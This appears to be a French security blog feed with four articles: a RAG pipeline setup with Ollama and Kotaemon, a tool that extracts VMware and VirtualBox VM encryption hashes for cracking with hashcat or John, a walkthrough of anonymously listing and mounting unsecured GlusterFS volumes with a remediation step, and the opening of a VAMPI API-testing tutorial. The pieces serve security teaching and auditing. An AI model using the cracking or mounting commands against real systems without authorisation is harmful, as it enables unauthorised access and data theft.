The future is now ! Bonjour à tous, après quelques mois d’absence dus à de nombreux side projects, je suis de retour sur le blog avec un nouvel article qui, j’espère, va plaire au plus grand nombre d’entre vous. Dans celui-ci, je vous propose de plonger au cœur du fonctionnement d’un système RAG (Retrieval-Augmented Generation) afin que vous puissiez en créer un vous-même chez vous sur un serveur Linux. Je n’épilogue pas plus, place à la technique !

I. Environnement des tests et prérequis

• Ubuntu 24.04.1 – Version du noyau : 6.8.0-49-generic
• Docker (27.3.1 dans mon cas)
  • Pour ceux qui n’auraient pas encore Docker installé sur leurs postes, je vous encourage vivement à utiliser le script d’autoconfiguration proposé par Docker. En effet, la version disponible dans le référentiel apt d’ubuntu n’est pas à jour.
  • Voici, comment installer docker curl https://get.docker.com/ | sh
• LLMs utilisés :
  • nomic-rmbed-text
  • llama3.1:8b
• « Orchestrateur » : Kotaemon

II. Qu’est-ce qu’une pipeline RAG ?

Une pipeline RAG (Retrieval-Augmented Generation) est une architecture utilisée en intelligence artificielle pour combiner des capacités de recherche « documentaire » et de génération de texte afin de répondre à des questions se basant sur un contenu externes (fichiers). L’idée principale est de compléter un modèle génératif « classique » en l’aidant à puiser dans une base de connaissances « externe » pour produire des réponses plus précises, à jour et fiables.

Une pipeline RAG regroupe donc deux grandes étapes :

• Recherche d’informations (« retrieval« ).
  • Assuré par le LLM nomic-embed-text dans cet article
• Génération de la réponse (« generation« ).
  • Assuré par le LLM Llama dans cet article

Une fois les documents indexés, voici à quoi ressemble le workflow d’une requête d’un point de vu utilisateur.

a) Ingestion et préparation des données

• Les documents qu’on souhaite indexer pour former notre base documentaire sont indexés dans une base de données adaptée à la recherche rapide, souvent sous forme de vecteurs.
• Cette étape convertit les données en représentations numériques compréhensibles par les modèles d’IA.

b) Recherche d’information (retrieval)

• Lorsqu’une question est posée, un module de recherche trouve les documents ou passages les plus pertinents à partir de la base indexée (C’est en quelque sorte un « giga » Ctrl +F). Ce module utilise des embeddings* générés par des modèles comme nomic-embed-text pour effectuer des correspondances sémantiques.

Cliquez ici pour plus d’information sur la notion d’embeddings…

Les embeddings sont des représentations vectorielles de données, telles que des mots, phrases transformées en vecteurs numériques. Ces vecteurs capturent les relations sémantiques, permettant aux modèles de comparer des éléments similaires plus facilement. Ils sont utilisés pour simplifier et améliorer des tâches comme la recherche d’information connexes. Voici un exemple concret d’un embedding sous forme de vecteur pour le mot « chat ». Imaginons que nous utilisons un modèle de langage qui transforme des mots en vecteurs à 3 dimensions :

Mot : « chat »

Vecteur d’embedding :
[0.2,−0.3,0.8]

Chaque composant du vecteur représente une caractéristique du mot, comme sa relation avec d’autres mots ou son contexte. Par exemple :

• 0.2 pourrait représenter l’association avec des animaux domestiques.
• -0.3 pourrait représenter son lien avec des animaux féroces (moins fort).
• 0.8 pourrait être lié à des concepts comme « mignon », « poils », ou « ronronner ».

Les mots ayant un sens similaire, comme « felin » ou « animal », auraient des vecteurs proches de « chat ».

c) Consolidation des informations récupérées

• Les informations pertinentes (passages trouvés) extraites grâce à nomic-embed-text sont regroupées par l’intermédiaire d’un « orchestrateur » (ici Kotaemon) et transmises au modèle génératif (Llama) comme contexte.

d) Génération de la réponse (generation)

• Le modèle LLM (Llama) prend ensuite le relais et utilise les informations fournies par la recherche précédente pour générer une réponse complète, concise et contextuelle.

Voici le resumé des étapes : B,C,D en un schéma :

source : https://www.aproductstory.com/p/retrieval-augmented-generationrag

Comme toute avancée technologique, une architecture RAG n’offre pas que des avantages. Voici un tableau des principaux pros/cons :

Aspect	Description
Avantages d’une pipeline RAG
Améliore la précision	Les LLM sont souvent limités par leur date de mise à jour. En combinant une recherche dynamique, on pallie cette limite.
Réduit les hallucinations	Le LLM est « guidé » par des données précises, ce qui diminue les risques de réponses inventées.
Personnalisation	La recherche peut être configurée pour fonctionner sur des données spécifiques (ex : documentations interne).
Limitations d’une pipeline RAG
Complexité de mise en œuvre	Nécessite de configurer un système de recherche performant (indexation, embeddings, types de fichiers supportés) et de le connecter aux LLMs sous-jacent.
Performances dépendantes des données	Si les données sont mal structurées ou absentes, la qualité du pipeline s’effrite
Coûts en calcul	L’étape d’embedding et de recherche est gourmande en ressources. Cela dépend de la taille des fichiers à indexer.

Maintenant que nous avons vu en quoi consiste une architecture RAG, passons à sa construction.

III. Installation et configuration d’Ollama

Warning : La différence entre Ollama et Llama est importante, car ces deux termes désignent des outils distincts, même si, syntaxiquement, ils sont proches. Llama (Large Language Model Meta AI) est une famille de modèles de langage développée par Meta, conçue pour la génération et la compréhension de texte. En revanche, Ollama est une plateforme qui facilite l’utilisation et le déploiement de modèles comme Llama. Ollama agit comme un cadre pratique, permettant d’installer, gérer et interagir avec des modèles de langage, tout en offrant des outils supplémentaires pour simplifier leur intégration dans des applications, notamment les architectures RAG.

Voici les points essentiels de son fonctionnement :

• Exécution locale : Ollama permet d’héberger et d’exécuter des modèles de langage directement sur ton ordinateur, ce qui garantit la confidentialité des données.
• « Catalogue » de modèles : La plateforme propose un « hub » de modèles préentraînés qu’on peut télécharger et utiliser facilement. (même principe que le docker hub / vagrant hub)
• Facilité d’utilisation : Une interface en ligne de commande « docker like* » simple pour charger et interagir avec les modèles.
• Optimisation : Compatible avec du matériel grand public, comme des GPU et CPU** standards, grâce à l’optimisation des modèles pour les environnements locaux.
• Confidentialité : Idéal pour la souveraineté des données, car Ollama peut être installé « on-premise ».

*Ollama utilise Docker comme sous-couche pour isoler et gérer les environnements nécessaires à l’exécution des modèles de langage.

**Pour rappel, Ollama peut fonctionner en mode CPU-only, c’est-à-dire sans recourir à une carte graphique dédiée. Bien que ce mode soit plus lent, car toutes les ressources de calcul reposent sur le CPU, il rend possible l’exécution locale d’un LLM sur un ordinateur standard, accessible à presque tout le monde.

Un script d’autosetup est fourni par le site officiel, prenant en charge la plupart des distributions connues. Pour ceux qui préfèrent une solution entièrement basée sur Docker, il est également possible d’utiliser Docker pour installer Ollama. Cependant, cela ajoute une couche d’abstraction supplémentaire, qui peut parfois être contre-productive, notamment lorsqu’il s’agit d’intégrer des ressources externes dans une architecture RAG, car ces dernières ne sont pas toujours conçues pour fonctionner de cette manière.

curl -fsSL https://ollama.com/install.sh | sh

Dès lors, il faut démarrer le service Ollama :

sudo systemctl start ollama

Si-vous souhaitez qu’Ollama s’instancie dès que votre ordinateur/serveur démarre (optionnel) :

sudo systemctl enable ollama

Pour vous assurer que votre installation d’Ollama fonctionne correctement, il est recommandé de vérifier son statut et d’instancier un LLM simple pour effectuer un test rapide.

ollama run gemma:2b

prompt : Bonjour, qui est-tu ?

IV. Installation et configuration de Kotaemon

Kotaemon est une plateforme open source conçue pour créer une architecture RAG en interfaçant plusieurs LLM. Elle permet de structurer, interroger et extraire des informations à partir de grandes quantités de données textuelles. Elle simplifie l’indexation des documents (phase d’embedding), la recherche contextuelle sémantique (réalisée ici avec un LLM dédié, nomic-embed-text), ainsi que la génération de réponses pertinentes en fonction du contexte par le LLM principal, souvent qualifié de « penseur » (dans ce cas : llama3.1:8b).

Pour simplifier le déploiement de Kotaemon « on the fly », j’ai choisi d’instancier le conteneur de manière temporaire. Ainsi, dès que je quitte le terminal, le conteneur est automatiquement supprimé. De plus, par défaut, j’exécute ce conteneur sur le même réseau que ma machine hôte. Bien que ce ne soit pas recommandé pour un environnement de production « ASoA* », cette configuration me permet de faciliter le déploiement et l’interfaçage entre le socket de l’API Ollama qui n’utilise pas Docker (localhost:11434) et le système RAG porté par Kotaemon (localhost:7860).

*A State of Art

docker run -e GRADIO_SERVER_NAME=0.0.0.0 -e GRADIO_SERVER_PORT=7860 --net=host -it --rm ghcr.io/cinnamon/kotaemon:main-full

source : https://github.com/Cinnamon/kotaemon/issues/224#issuecomment-2483136705

Dans un premier temps, et pour vous faciliter la vie en cas de troubleshooting, je vous conseille de ne pas exécuter le conteneur Kotaemon en arrière-plan. Ainsi, vous aurez les logs de l’application en direct, ce qui vous évitera de faire des appels intempestifs à la commande docker logs.

Dans un autre terminal, executez les commandes suivantes :

docker ps 

Pour vérifier que Kotaemon fonctionne correctement avec Ollama, il est essentiel de s’assurer que ce dernier est en mesure d’accéder à l’API d’Ollama, qui utilise par défaut le port 11434. Pour ce faire, il suffit d’entrer à l’intérieur du conteneur :

docker exec -it <ID> bash

Puis de saisir la commande suivante :

curl http://localhost:11434 -w '\n'

Dès lors, rendez-vous sur l’interface web de Kotaemon (http://localhost:7860), sélectionnez Ollama comme « model provider », puis cliquez sur Proceed.

Kotaemon, ayant accès à l’API d’Ollama, il va se charger du téléchargement des modèles nomic-embed-text et llama3.1:8b (modèles par défaut).

• llama3.1:8b (5go)
  • Modèle Llama (de Meta), version 3.1, avec 8 milliards de paramètres*. Conçu pour accomplir des tâches complexes de traitement du langage naturel, telles que la génération de texte en fonction d’un contexte c.
• nomic-embed-text (300mo)
  • Modèle spécialisé dans l’embedding de texte, c’est-à-dire la conversion de phrases en vecteurs numériques (représentations vectorielles). Conçu pour des tâches comme la recherche sémantique, la classification de texte ou la mise en cluster d’idées similaires.

*La notion de paramètre dans le contexte des modèles de langage comme LLaMA fait référence aux poids appris par le modèle pendant son entraînement. Ces poids sont des valeurs numériques ajustées pour capturer les relations entre les mots, phrases et concepts dans les données sur lesquelles le modèle a été entraîné. Plus il y a de paramètres, plus le modèle est complexe et capable de capturer des relations subtiles dans les données.

Une fois que les modèles ont été téléchargés, Kotaemon tente de dialoguer avec eux en envoyant un simple prompt « Hi ».

Pourquoi avons-nous besoin de deux modèles allez-vous me dire ?

Pour rappel, dans Kotaemon, LlamA 3.1:8B est utilisé pour ses capacités avancées de compréhension et de génération de texte en langage naturel. Ce modèle est essentiel pour analyser des contextes complexes, produire des réponses détaillées et interagir de manière intelligente avec l’utilisateur. Il joue un rôle central dans l’interprétation des requêtes et l’élaboration des réponses. En quelque sorte, c’est lui le « cerveau » qui établit les connexions entre les données extraites par nomic-embed-text. (ce dernier pouvant être comparé à un assistant chargé de consulter toutes les ressources documentaires, mais sans le recul nécessaire pour structurer et produire une réponse logiquement cohérente).

En parallèle, Nomic-Embed-Text:latest est dédié à l’indexation et à la recherche sémantique. Il convertit des textes issus de fichiers PDF, Markdown, etc., en représentations vectorielles, permettant de trouver des similarités ou des concepts connexes rapidement et efficacement.

V. Tests

Bien, une fois que vous avez accès à l’interface configurée de Kotaemon, il est temps de tester si notre pipeline RAG fonctionne correctement. Pour cela, il faut ajouter des fichiers à la base documentaire afin qu’ils soient « embedded » (indexé par nomic-embed-text). Pour ce faire, suivez ces étapes :

1. Allez dans le menu suivant :
   Files → Upload files
2. Sélectionnez les fichiers souhaités, puis cliquez sur Upload and index.

Le fichier que j’ai choisi est un document qui décrit en détail le fonctionnement du réseau Tor, que je vous recommande vivement de le consulter si ce sujet vous interesse.

P40 – Exploration du réseau Tor

Voilà ce qui se passe du côté backend :

En fonction de la puissance de votre ordinateur/serveur ainsi que de la taille du fichier à traiter, le document peut prendre beaucoup de temps à être indexé par nomic-embed-text. Comptez plusieurs minutes avec un ordinateur standard du marché. L’idée finale est évidemment d’utiliser un serveur dédié disposant de bien plus de ressources physiques (CPU, GPU, RAM).

Une fois que celui-ci est indexé, vous pouvez enfin essayer de requêter le RAG en posant des questions relatives au document indexé.

Prompt : Qui sont les auteurs du document ?

Ce premier prompt, en posant une question directement liée au document, permet de vérifier que notre pipeline RAG fonctionne correctement. Cela teste si l’IA fournit une réponse basée sur le document ou si elle « hallucine ». Lorsque des documents pertinents sont identifiés, ils s’affichent à droite dans l’interface.

Posons maintenant une question plus technique, toujours en nous basant sur le document téléversé précédemment.

Prompt : OK. Peux-tu m’expliquer ce que sont les serveurs d’annuaire au sein du réseau Tor ?

La réponse est en parfaite adéquation avec la notion abordée. Qui plus est, elle est techniquement correcte.

VI. Conclusion

En conclusion, les pipelines RAG représentent une avancée majeure pour la gestion et l’exploitation de l’information. En combinant la recherche sémantique et la puissance des modèles de langage, ils permettent un accès rapide et contextuel aux données, transformant ainsi des volumes d’informations brutes en réponses pertinentes et exploitables. C’est sans nul doute un avenir certain pour la gestion des procédures au sein de systèmes d’information, car ils éliminent le besoin de rechercher manuellement dans des wikis ou, pire encore, de parcourir des fichiers de procédure dispersés. Grâce à cette avancée, entreprises et particuliers peuvent, entre autres, optimiser leur productivité.

++

Archidote

L’article Deep dive into AI world : Mise en place d’une pipeline RAG avec Kotaemon est apparu en premier sur Le Guide Du SecOps • LGDS.

Certains d’entre vous l’ignorent peut-être, mais il est possible de chiffrer des machines virtuelles à l’aide de VMware Workstation ou de VirtualBox. Dans cet article, je vous propose de découvrir le fonctionnement de mon outil : le VM Password Extractor. Cet outil permet d’extraire les métadonnées concernant les méthodes et types d’algorithmes de chiffrement utilisés. L’objectif ? Obtenir des détails essentiels sur le chiffrement tels que les algorithmes de hachage, le nombre d’itérations, la valeur du sel, etc. L’idée est de traduire ces données en un format interprétable, compatible avec deux des outils de craquage de mots de passe les plus populaires : hashcat et John. En effet, ces outils ont récemment introduit la compatibilité avec les schémas de chiffrement de VirtualBox et de VMware Workstation.

VM-Password-Extractor s’appuie sur certains travaux existants. Pour davantage d’informations, veuillez consulter la section « Crédits » du fichier README.md (situé à la racine de mon dépôt).

Lien vers le projet : https://github.com/archidote/VM-Password-Extractor

VM-Password Extractor ne nécessite pas de dépendances particulières de Python 3, à l’exception de celles intégrées par défaut.

I. Processus de chiffrements – Côté VMware

Pour rappel, le descriptif d’une machine virtuelle VMware est stocké dans un fichier .vmx. Ce type de fichier est une configuration pour une machine virtuelle, contenant des informations sur la configuration matérielle telle que la quantité de mémoire RAM, le type de processeur, les périphériques virtuels, ainsi que les informations liées au chiffrement de la machine virtuelle si celle-ci est chiffrée, bien entendu.

Voici un extrait d’un fichier .vmx d’une VM chiffré. On constate que la variable encryption.KeySafe y stocke les données relatives à son chiffrement. (Algorithme de hashage, Algorithme de chiffrement symétrique, Hash round, etc.)

Voici les étapes du chiffrement d’une VM avec VMWare (VMware Workstation Pro 17.5 ) :

1. Création du dérivé du mot de passe (Final Hash) :
   • ○ Saisie du mot de passe
   • ○ Détermination du nombre d’itérations : (10 000 hash rounds : valeur par défaut).
   • ○ Génération d’un « sel » unique (valeur aléatoire de n bits)
   • ○ Application de l’algorithme PBKDF2-HMAC-SHA-1 en utilisant comme entré le mot de passe le sel et le nombre de hashround. pour « dériver » celui-ci et ainsi obtenir le condensat final du mot de passe (Final Hash)
   • ○ Simplification logique : PBKDF2_HMAC_SHA1(password, salt, hash_rounds)
2. Génération de la clé (chiffrement symétrique) :
   • ○ Utilisation du nom de la VM et du VM ID pour initialiser le processus de la création de la clé symétrique initial avec l’algorythme AES-256.
3. Chiffrement de la VM :
   • ○ Le chiffrement de la VM (disque, etc.) se fait avec l’algorithme AES-256-XTS en utilisant le condensat (Final Hash) obtenue précédemment comme clé de chiffrement.
   • ○ Simplification logique : AES-256(PBKDF2-HMAC-SHA-1(password,salt,hash_rounds), VM_DISK_FILE)

Ce processus de chiffrement assure que le chiffrement de la VM repose sur une clé dérivée du mot de passe (pas le « vrai » mot de passe directement), offrant ainsi une couche de sécurité supplémentaire.

Note 1 : Actuellement, le choix de l’algorithme PBKDF2-HMAC-SHA-1 pour la clé de dérivation est considéré comme robuste, mais son efficacité à long terme pourrait être remise en question en raison de l’évolution constante des attaques informatiques et des capacités de calcul.

https://crypto.stackexchange.com/questions/26510/why-is-hmac-sha1-still-considered-secure

Note 2 : Depuis juillet 2023, VMware a changé sa méthode de chiffrement asymétrique en optant pour AES-256-XTS, qui est plus sécurisée que son prédécesseur AES-256-CBC.

https://kb.vmware.com/s/article/93071

II. Côté VirtualBox

Le fichier .vbox est l’équivalent du fichier .vmx et contient essentiellement des données similaires. Il sert à stocker les informations spécifiques à une machine virtuelle pour cet environnement. C’est dans ce fichier que sont répertoriées les données relatives au chiffrement de la VM.

Étapes pour chiffrer une machine virtuelle dans VirtualBox :

1. Génération de la clé symétrique :
   • ○ L ‘utilisateur a le choix entre deux algorithmes : AES-XTS128-PLAIN64 ou AES-XTS256-PLAIN64.
2. Création du dérivé du mot de passe (Final Hash) :
   • ○ VirtualBox utilise PBKDF2-SHA256 pour créer un dérivé du mot de passe initial.
   • ○ Le processus de dérivation de clé est itéré deux fois (itération 2 = f(itération 1)) pour rendre la récupération du mot de passe d’origine plus difficile et coûteuse en terme de temps de cassage.
     • – Pour la première itération, VirtualBox effectue (par défaut) 720 000 tours de PBKDF2-SHA256 en utilisant une valeur de « sel » x .
     • – Puis, pour la seconde itération il effectue une deuxième itération de 20 000 tours (par défaut) avec une deuxième valeur de « sel » y en utilisant le résultat de la première itération comme entrée .
   • ○ Simplification logique :
     • hash_iteration1 = PBKDF2-SHA256(password, salt1, hash_rounds)
     • final_hash = PBKDF2-SHA256(hash_iteration1, salt2, hash_rounds)
3. Chiffrement de la VM :
   • ○ Le condensat final (courrament nommé Final hash) obtenue est utilisée comme clé de chiffrement asymétrique en fonction de l’algorithme initial sélectionné.
   • ○ Simplification logique : AES-XTS256-PLAIN64(PBKDF2-SHA256(password, salt1, hash_rounds), salt2, hash_rounds), VM_DISK_FILE)

VirtualBox utilise un processus de chiffrement plus robuste que VMware. Cela est en partie dû à la sélection d’un algorithme de dérivation plus moderne, accompagné de deux itérations avec un nombre plus élevé de tours de hachage (Hash Rounds). Ces éléments rendent le processus de cassage du hachage considérablement plus coûteux en termes de temps, particulièrement s’il est robuste.

III. Démonstration

A. Avec une VM VMware chiffrée et l’utilitaire john

python3 ./VM-Password-Extractor.py --vmx assets/vmware/encrypted-vmx-file-example-PBKDF2-HMAC-SHA1-and-AES-256-CBC.vmx --vmx-password-hash-to-john -v

• --vmx : Cet argument spécifie le fichier .VMX à traiter. à l’intérieur de celui-ci se trouve les données de chiffrement qui sont obfusqués.
• --vmx-password-hash-to-john : Indique à l’outil de formater les informations de chiffrement en un « meta hash » compatible avec l’outil john.
• -v : Mode verbeux

Après l’exécution, ce « meta hash » est enregistré dans un fichier hash.YYYYMMDD-HHMMSS.txt (si aucun fichier n’a été spécifié précédemment avec l’option correspondante : -o)

Vous remarquerez qu’une commande « de base » john (sans règle de dérivation, ni masque, etc.) est générée. Dans cet exemple, le mot de passe cassé est trivial : « password ». Cependant, dans un contexte réel, l’utilisation d’un dictionnaire personnalisé et l’application de règles de dérivation et de masquage seront plus appropriées.

Décomposition du « meta hash » « made for john » :

FILE.vmx-VM_NAME:
$vmx
$1 # Indique la version initiale du schéma de hachage utilisé
$0 # Paramètre complémentaire non-utilisé (N/A)
$0 # Paramètre complémentaire non-utilisé (N/A) 
$10000 # Nombre de round de l'itération 1
$3e8(...)17f # Salt 1
$561(...)293 # Final Hash

A. Avec une VM VirtualBox chiffré et l’utilitaire hashcat

python3 VM-Password-Extractor.py --vbox assets/virtualbox/encrypted-vbox-file-example-PBKDF2-HMAC-SHA256-and-AES-256-XTS.vbox --vbox-password-hash-to-hashcat -v

• --vbox : Cet argument spécifie le fichier .vbox à traiter. à l’intérieur de celui-ci se trouve les données de chiffrement qui sont obfusqués.
• --vbox-password-hash-to-hashcat : Indique à l’outil de formater les informations de chiffrement en un « meta hash » compatible avec l’outil hashcat.
• -v : Mode verbeux

Vous remarquerez qu’une autre commande « de base » a été généré mais cette fois-ci pour l’outil hashcat. (sans règle de dérivation, ni masque, etc.)

Décomposition du « meta hash » « made for hashcat » :

$vbox
$0 # Indique la version initiale du schéma de hachage utilisé
$720000 # Nombre de round de l'itération 1 
$97c(...)378 # Salt 1 
$16 # Taille de la clé 
$b36e(...)d26 # pre-hash (suite à la première itération)
$20000 # Nombre de round de l'itération 2
$444(...)8e9 # Salt 2
$8da(...)247 # Final Hash 

IV. VM-Password-Extractor – Mesure de référence comparative – Un Benchmark quoi … ^^

Méthode initial : Attaque par Dictionnaire : el famoso « rockyou.txt »

• Règles de dérivation : aucune
• Masks : Aucun
• Mot de passe : password

A. VMware

Mode de chiffrement : AES-256(PBKDF2-HMAC-SHA1)

• Hashcat : Quelques secondes
• John the ripper : Quelques secondes

B. VirtualBox

• Mode de chiffrement : AES-XTS256-PLAIN64(PBKDF2-HMAC-SHA256)
  • Hashcat : Quelques secondes en fonction de la configuration matériels de l’ordinateur
  • John the ripper : Plusieurs dizaines de minutes
• Mode de chiffrement : AES-XTS128-PLAIN64(PBKDF2-HMAC-SHA256)
  • Hashcat : Quelques minutes/secondes en fonction de la configuration matériels de l’ordinateur
  • John the ripper : Plusieurs dizaines de minutes

Sans hésiter, je vous recommande hashcat, qui d’après mes tests, est bien plus efficace que John pour casser de tels mots de passe.

V. Résumé

L’article explore le chiffrement des machines virtuelles avec VMware et VirtualBox, en se focalisant sur l’outil VM-Password-Extractor pour extraire et interpréter les données cryptographiques. Cette analyse met en lumière des distinctions majeures : si VMware déploie un schéma de chiffrement robuste, il est moins performant que celui de VirtualBox, qui adopte une approche plus moderne. Cette différence renforce la complexité et prolonge la durée nécessaire pour casser le hachage associé au mot de passe initial.

VI. Futur works

Pour les personnes motivées ou très à l’aise avec la cryptographie, je vous encourage à tenter de rétro-ingénierer le schéma de chiffrement utilisé par VMware pour chiffrer les machines virtuelles dans VCSA (vCenter Server Appliance). J’ai essayé à plusieurs reprises de mon côté, mais sans succès :/

++

GSB || Archidote

L’article VM-Password-Extractor : Tenter de retrouver le mot de passe de VM chiffrés (VMWare/VirtualBox) est apparu en premier sur Le Guide Du SecOps • LGDS.

GlusterFS, système de stockage multimodal, consolide les fichiers de plusieurs serveurs en un seul système unifié, garantissant ainsi la tolérance aux pannes dès que trois hôtes sont « glusterisés » au minimum. Pourquoi est-ce crucial ? Pour prévenir les split-brain ! Afin d’éviter ce scénario à tout prix, un nombre impair de serveurs est nécessaire pour obtenir un quorum de voix en cas de défaillance d’un hôte.

Par défaut, de très nombreux tutoriels en ligne ne précisent pas qu’il est important de sécuriser les liens de réplication inter-serveurs. En effet, par défaut, GlusterFS ne propose pas cette option de sécurité.

Mea culpa… Il y a quelques années, j’ai écrit un article sur la configuration d’un cluster de stockage GlusterFS, mais je n’avais pas abordé le contrôle d’accès. Entre-temps, cet article est passé en visibilité privée, car il a un peu vieilli. (C’était d’ailleurs l’un des premiers sur l’ancêtre du blog Le Guide du SecOps — connu des initiés sous le nom Le Guide du SysOps ).

I. Identifier un service glusterfs actif sur le réseau

Pour débuter, il est essentiel d’identifier si une machine expose le port associé au service GlusterFS, mais cela peut s’avérer difficile car par défaut, nmap ne le signale pas même avec l’option –sV. Le port généralement associé à ce service est le 27001.

Si-vous êtes sur un réseau « VLAN serveur » ou que l’organisation audité n’a tout simplement pas de cloisonnement réseau, vous pouvez aussi écouter le réseau avec wireshark (filtrer le trafic avec le protocole « glusterfs »).

Lors de l’analyse de l’output d’un script nmap, si vous repérez que le port 27001 est ouvert, cela devrait attirer votre attention. Si vous soupçonnez la présence d’un cluster de stockage GlusterFS au sein d’un réseau, vous devriez télécharger la CLI de GlusterFS pour lever le doute. Pour ce faire, utilisez la commande suivante :

apt update && apt install glusterfs-server 

Il existe également une version glusterfs-cli, cependant, celle-ci peut poser des problèmes de dépendances. En utilisant ce paquet, vous obtiendrez à la fois le service GlusterFS installé et la CLI. Il est à noter que par défaut, le service GlusterFS restera inactif.

Premièrement, vous pouver tenter de lister les volumes de cette manière :

gluster --remote-host=192.168.130.143 volume list
mkdir /glusterfs-pwned

On constate qu’un volume « volume1 » est retourné. Cela signifie qu’il y a bien un service GlusterFS actif avec un seul volume de données. Mais ne vous emballez pas Par défaut, même après une sécurisation (voir la dernière section), il est toujours possible de procéder à une énumération des volumes… Pas idéal, mais bon ^^

Ok, donc maintenant est-il possible pour un utilisateur anonyme de monter ce volume localement afin d’accéder aux données ?

La réponse est oui comme vous vous en doutez…

II. Connection au volume de manière anonyme

Créez un dossier et associez-le à un point de montage « glusterfs » en vous aidant des informations recueillies précédemment (IP et nom du volume).

mkdir /glusterfs-pwned 
mount -t glusterfs 192.168.130.143:/volume1 /glusterfs-pwned 

Et ce n’est pas tout, vous n’avez pas seulement les droits de lecture par défaut :p Vous avez aussi les droits d’écriture

La capture suivante montre qu’il m’est possible de renommer un fichier sur ce cluster de stockage sans demander des droits plus élevés que ceux que je possède.

III. Extraction des données du volume

Vu que nous avons les droits de lecture (et d’écriture), il est donc possible d’extraire toutes les données de ce partage de fichiers très facilement. Bon, j’avoue que la commande ci-après est la plus minimaliste. ^^

IV. Solution de remédiation

Par défaut, la seule sécurisation en vigueur pour remédier à ce défaut de sécurité est la restriction par IP. Ce n’est pas forcément la solution la plus sécurisée, je vous l’accorde, mais cela compliquera la tâche d’un attaquant (dans le cas où celui-ci souhaite usurper l’adresse IP d’un des serveurs membres du cluster de stockage GlusterFS).

gluster volume set volume1 auth.allow 192.168.130.143,192.168.130.144

Vous n’avez pas besoin de redémarrer le service glusterfs suite à cette modification.

++

GSB

L’article Avez-vous activé un contrôle d’accès pour vos clusters de stockage GlusterFS ? est apparu en premier sur Le Guide Du SecOps • LGDS.

Rappel : L’article qui va suivre contient des techniques et méthodes qui peuvent s’avérer être illégales et dangereuses si elles sont utilisées à mauvais escient. Ce tutoriel ne doit en aucun cas être utilisé contre un particulier, une entreprise, une organisation à but non lucratif ou une administration publique de quelconque pays. Je me dédouane de toute responsabilité en cas de problèmes ou d’incidents de quelque nature que ce soit après le visionnage de cet article.

Bonjour à tous, après une longue période sans publication sur le blog, je suis ravi de vous présenter un nouvel article portant sur le thème de la « Sécurité des API ». Dans cet article, nous explorerons les méthodes de test pour évaluer la sécurité des API REST. Nous utiliserons une API vulnérable appelée « VAMPI », conçue pour gérer l’attribution de livres à des utilisateurs.

Un grand merci à @erev0s ainsi qu’aux autres contributeurs de ce projet open-source.

I. Introduction et Rappels

A. Qu’est-ce qu’une API ?

Une API, ou Interface de Programmation d’Application (en anglais, Application Programming Interface), est un ensemble de règles et de protocoles qui permet à des logiciels / sites web différents de communiquer entre eux. Elle définit les méthodes et les formats de données que les développeurs peuvent utiliser pour intégrer leurs applications avec d’autres logiciels.

Une API peut être utilisée pour différentes raisons, notamment pour permettre à une application d’accéder aux fonctionnalités d’un service externe, d’interagir avec une base de données sans la requêter directement, ou même de partager des fonctionnalités avec d’autres applications.

Voici sans nul doute mon meme préféré. c’est en grande partie grace à lui que j’ai compris comment fonctionnait une API de bout en bout.

Une image vaut mille mots

confucius

Voici quelques concepts clés liés aux API qui vont être utilisé dans cet article :

1. Point d’Entrée / endpoint : Une API fournit des points d’entrées spécifiés (URI Uniform Resource Identifier),par lequel les développeurs peuvent accéder aux fonctionnalités offertes par l’API.
   • Ex : https://api.domain.com/user/john.doe retournerait uniquement les caractéristiques liés à cet utilisateur (age, date d’inscription, etc.) si et seulement si l’utilisateur s’est authentifié.
2. Méthodes : Les API utilisent des méthodes HTTP, telles que GET, POST, PUT, DELETE, qui correspondent aux opérations que les développeurs peuvent effectuer sur les ressources fournies par l’API. Celles-ci font références au principe du « CRUD ». Voir section suivante
3. Formats de Données : Les données échangées entre les applications via une API sont généralement structurées dans des formats standard tels que JSON (JavaScript Object Notation) ou anciennement XML (eXtensible Markup Language).
4. Authentification et Autorisation : Les API peuvent nécessiter des mécanismes d’authentification pour s’assurer que seules les applications autorisées peuvent accéder aux fonctionnalités fournies. De plus, elles peuvent implémenter des mécanismes d’autorisation post-auth pour contrôler l’accès aux différentes ressources.

En résumé, les API sont essentiellement un moyen standardisé pour que différentes applications modernes communiquent entre elles. Elles facilite ainsi l’intégration et l’interopérabilité entre les artecfats digitales.

B. CRUD (Create Read Update Delete)

Le terme CRUD est un acronyme couramment pour décrire les opérations fondamentales effectuées sur les données dans un système de gestion de base de données (SGBD) ou une application web. CRUD représente les quatre opérations de base que l’on peut effectuer sur les données :

1. Create : Cette opération consiste à ajouter de nouvelles données à un système. Par exemple, dans une application web, cela pourrait signifier la création d’un nouveau compte utilisateur ou l’ajout d’un nouveau produit à une boutique en ligne, etc.
2. Read : La lecture consiste à récupérer et afficher des données existantes à partir du système. Il s’agit de la consultation des informations stockées dans la base de données, que ce soit pour afficher un profil d’utilisateur ou consulter les détails d’un produit, etc.
3. Update : Cette opération implique la modification des données existantes. Par exemple, vous pourriez mettre à jour les informations de votre profil utilisateur ou mettre à jour le prix d’un produit.
4. Delete : La suppression consiste à retirer des données du système. Cela pourrait signifier la suppression d’un compte utilisateur, ou la suppression d’un produit de la base de données.

Ces opérations sont essentielles dans le développement d’applications et dans la gestion de bases de données, car elles permettent de gérer les données de manière cohérente et efficiente. Ce qui en fait un des piliers conceptuelles du développement logiciel et conception de bases de données.

Source : https://www.geeksforgeeks.org/crud-operations-and-file-upload-using-node-js-and-mongodb/

C. REST vs RESful ?

REST est un ensemble de principes architecturaux, RESTful est une mise en œuvre concrète de ces principes avec une adhérence stricte aux conventions, rendant l’API plus prévisible, facile à comprendre et à utiliser.

Voici un schema permettant de se représenter conceptuellement le fonctionnement d’une API REST : (source : https://www.linkedin.com)

II. Avec quel outils peux-ton tester la sécurité d’une API ?

Il existe pléthore d’outils ! Dans mon cas, j’utilise uniquements les trois suivants en générale :

• Burp Suite (Pro) : Le plus utilisé
• Postman : Je suis particulièrement Fan de l’interface graphique
• La commande curl (uniquement pour tester à la voler des endpoints bien précis)

Tout au long de cet article, je vais utiliser Postman ainsi que la commande curl pour créer des requêtes un peu plus complexes. Cela vous permettra d’économiser du temps lors de vos tests et d’éviter de remplir manuellement chaque champ. Cependant, il est important de noter que cela ne remplace pas la nécessité d’exécuter également les requêtes via Burp ou Postman.

III. Setup de l’API vulnérable VAMPI avec … Docker ^^

Pour ne pas se compliquer la vie, on va utiliser l’image toute prête qui a été publié sur le dockerhub par @erev0s. Toutefois, sachez que vous pouvez directement construire l’image depuis le Dockerfile officiel du projet.

docker run -d --rm -e vulnerable=1 -e tokentimetolive=300 -p 5000:5000 erev0s/vampi:latest

